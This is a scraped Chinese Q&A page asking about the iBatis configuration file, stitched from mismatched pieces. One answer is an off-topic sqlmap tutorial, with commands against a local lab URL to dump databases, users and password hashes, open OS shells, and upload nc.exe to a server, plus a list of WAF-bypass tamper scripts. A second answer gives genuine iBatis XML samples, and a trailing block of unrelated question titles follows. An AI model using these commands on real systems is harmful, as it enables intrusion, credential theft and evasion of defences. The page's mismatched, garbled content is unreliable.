问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

详解iBatis主配置文件

发布网友 发布时间:2022-05-03 04:20

我来回答

2个回答

懂视网 时间:2022-05-03 08:42

.判断是否存在注入 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2" #参数大于1时加双引号 2.判断文本中的请求是否存在注入 sqlmap.py -r test.txt #-r一般在存在cookie注入时使用 3.查询当前用户下的所有数据库 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs 4.获取数据库下的表名 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables 5.获取表中的字段名 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns 6.获取字段的内容 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump 7.获取数据库的所有用户 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users 8.获取数据库用户的密码 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password 9.获取当前网站数据库的名称 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db 10.获取当前网站数据库的用户名称 sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user

3.sqlmap进阶:参数讲解

1.--level=5:探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。

2.--id-dba:当前用户是否为管理权限

3.--roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候

4.--referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入

5.--sql-shell:运行自定义sql语句

6.--os-cmd,--os-shell:运行任意操作系统命令

7.--file-read "C:/example.exe":从数据库服务器中读取文件

8.sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中

4.sqlmap自带绕过脚本tamper的讲解

--identify-waf可以检查网站是否有安全防护(WAF/IDS/IPS)
--tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。
命令:sqlmap.py -u "URL" --tamper "模块名"
目前官方提供53个绕过脚本,比如

apostrophemask.py #将引号替换为UTF-8,用于过滤单引号
base64encode.py #替换为base64编码
multiplespaces.py #围绕sql关键字添加多个空格
space2plus.py #用+号替换空格
nonrecursivereplacement.py #作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
space2randomblank.py #将空格替换为其他有效字符
unionalltounion.py #将union all select 替换为union select
securesphere.py #追加特制的字符串
space2hash.py #将空格替换为#号,并添加一个随机字符串和换行符。
space2mssqlblank.py #(mssql)将空格替换为其他空符号
space2mssqlhash.py #将空格替换为#号,并添加一个换行符
between.py #用NOT BETWEEN 0 AND替换大于号,用BETWEEN AND替换等号
percentage.py #ASP允许在每个字符前面添加一个%号
sp_password.py #从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charencode.py #对给定的Payload全部字符使用URL编码(不处理已经编码的字符)
randomcase.py #随机大小写
charunicodeencode.py #字符串Unicode编码
space2comment.py #将空格替换为/**/
equaltolike.py #将等号替换为like
greatest.py #绕过对>的过滤,用GREATEST替换大于号
ifnull2ifisnull.py #绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py #过滤空格,使用Mysql内联注释的方法进行注入
space2mysqlblank.py #将空格替换为其他空白符号(使用户MySQL)
modsecurityzeroversioned.py #使用mysql内联注释(/*! 00000*/)的方式进行注入
space2mysqldash.py #将空格替换为--,并添加一个换行符。
bluecoat.py #在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。
versionedkeywords.py #注释绕过
halfversionedmorekeywords.py #当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释
space2morehash.py #将空格替换为#号,并添加一个随机字符串和换行符。
apostrophenullencode.py #用非法双字节unicode字符替换单引号
appendnullbyte.py #在有效载荷的结束为止加载零字节字符编码
chardoubleencode.py #对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
unmagicquotes.py #用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
randomcomments.py #用/**/分割sql关键字

sqlmap详解

标签:uid   条件   结束   comment   有用   write   tween   获取   style   

热心网友 时间:2022-05-03 05:50

主要是sqlMapConfig.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE sqlMapConfig (View Source for full doctype...)>
- <sqlMapConfig>
- <!-- Configure a built-in transaction manager. If you're using an
app server, you probably want to use its transaction manager
and a managed datasource
-->
- <transactionManager type="JDBC" commitRequired="false">
- <dataSource type="SIMPLE">
<property name="JDBC.Driver" value="org.hsqldb.jdbcDriver" />
<property name="JDBC.ConnectionURL" value="jdbc:hsqldb:." />
<property name="JDBC.Username" value="sa" />
<property name="JDBC.Password" value="sa" />
</dataSource>
</transactionManager>
- <!-- List the SQL Map XML files. They can be loaded from the
classpath, as they are here (com.domain.data...)
-->
<sqlMap resource="com/mydomain/data/Account.xml" />
- <!-- List more here...
<sqlMap resource="com/mydomain/data/Order.xml"/>
<sqlMap resource="com/mydomain/data/Documents.xml"/>

-->
</sqlMapConfig>
以及sql的映射问价,如Account.xml的文件内容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE sqlMap (View Source for full doctype...)>
- <sqlMap namespace="Account">
- <!-- Use type aliases to avoid typing the full classname every time.
-->
<typeAlias alias="Account" type="com.mydomain.domain.Account" />
- <!-- Result maps describe the mapping between the columns returned
from a query, and the class properties. A result map isn't
necessary if the columns (or aliases) match to the properties
exactly.
-->
- <resultMap id="AccountResult" class="Account">
<result property="id" column="ACC_ID" />
<result property="firstName" column="ACC_FIRST_NAME" />
<result property="lastName" column="ACC_LAST_NAME" />
<result property="emailAddress" column="ACC_EMAIL" />
</resultMap>
- <!-- Select with no parameters using the result map for Account class.
-->
<select id="selectAllAccounts" resultMap="AccountResult">select * from ACCOUNT</select>
- <!-- A simpler select example without the result map. Note the
aliases to match the properties of the target result class.
-->
<select id="selectAccountById" parameterClass="int" resultClass="Account">select ACC_ID as id, ACC_FIRST_NAME as firstName, ACC_LAST_NAME as lastName, ACC_EMAIL as emailAddress from ACCOUNT where ACC_ID = #id#</select>
- <!-- Insert example, using the Account parameter class
-->
<insert id="insertAccount" parameterClass="Account">insert into ACCOUNT ( ACC_ID, ACC_FIRST_NAME, ACC_LAST_NAME, ACC_EMAIL values ( #id#, #firstName#, #lastName#, #emailAddress# )</insert>
- <!-- Update example, using the Account parameter class
-->
<update id="updateAccount" parameterClass="Account">update ACCOUNT set ACC_FIRST_NAME = #firstName#, ACC_LAST_NAME = #lastName#, ACC_EMAIL = #emailAddress# where ACC_ID = #id#</update>
- <!-- Delete example, using an integer as the parameter class
-->
<delete id="deleteAccountById" parameterClass="int">delete from ACCOUNT where ACC_ID = #id#</delete>
</sqlMap>
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
苹果电脑电池充不进电苹果电脑充不进去电是怎么回事 苹果电脑不充电没反应苹果电脑充电指示灯不亮充不了电怎么办 狗狗更加忠诚护家、善解人意,养一只宠物陪伴自己,泰迪能长多大... 描写泰迪狗的外形和特点的句子 国外留学有用吗 花钱出国留学有用吗 !这叫什么号 百万医疗赔付后是否可以续保 前一年理赔过医疗险还能续保吗? 医疗住院险理赔后还能购买吗? 妲己是妖怪还是神仙 不是祸国妖妃,那历史上真实的妲己究竟是怎样的? 子虚第几集问妲己如果我不是妖你会爱我吗? 妲己是什么妖怪? 历史上的妲己是妖还是人 苏妲己到底是人是妖? 妲己,不是妖怪吗?那为什么还说没有妖怪… 香港友邦保险好在哪里 好友邦金服有人买过吗? 物权众筹模式有哪些类别? 物权众筹模式的优缺点有哪些? 物权众筹概念怎么样? 物权众筹模式案例有哪些? word 背景怎么不是全屏 在word 文档里插入图片后怎么显示的不是全图 2014年高考志愿填报的时间 山西高考二本什么时候报志愿 2017山西二本志愿填报时间 什么时候填报 山西2019高考几点开始填志愿 今年山西高考什么时候报志愿? 作为封神系列的女一号,一下子搞垮了殷商江山,为何却没给纣王生孩子? 历史上的妖后妲己究竟是什么人? 最终幻想世界新手怎么玩 最终幻想世界新手攻略 《封神演义》里的杜太师能看出妲己是妖,比干为什么没看出来? 《最终幻想世界》玩法心得介绍 最终幻想世界怎么玩? 最终幻想世界第三幕攻略 最终幻想世界第三幕怎么过 最终幻想世界灯火之森隐藏地图怎么走 灯火之森迷宫路线走法 最终幻想世界怎么治疗 最终幻想世界治疗方法攻略 最终幻想世界怎么获得宠物 全属性宠物获得方法攻略 最终幻想世界怎么提高捕获几率 《最终幻想世界》奥丁打法攻略 奥丁在哪奥丁怎么打 最终幻想世界迷影兽怎么变身 迷影兽变身方法一览 最终幻想世界怎么提高捕捉几率 最终幻想 最终幻想世界伊芙利特怎么打 最终幻想世界百万红龙怎么过 百万红龙打法技巧 《最终幻想世界》迷影兽如何变身 迷影兽变身方法 最终幻想世界地狱三头犬怎么抓 最终幻想世界地狱三头 最终幻想世界第五章灯之火森的挡路的树怎么烧掉 ps4最终幻想世界好玩吗 ibatis怎么将解析参数传递给sql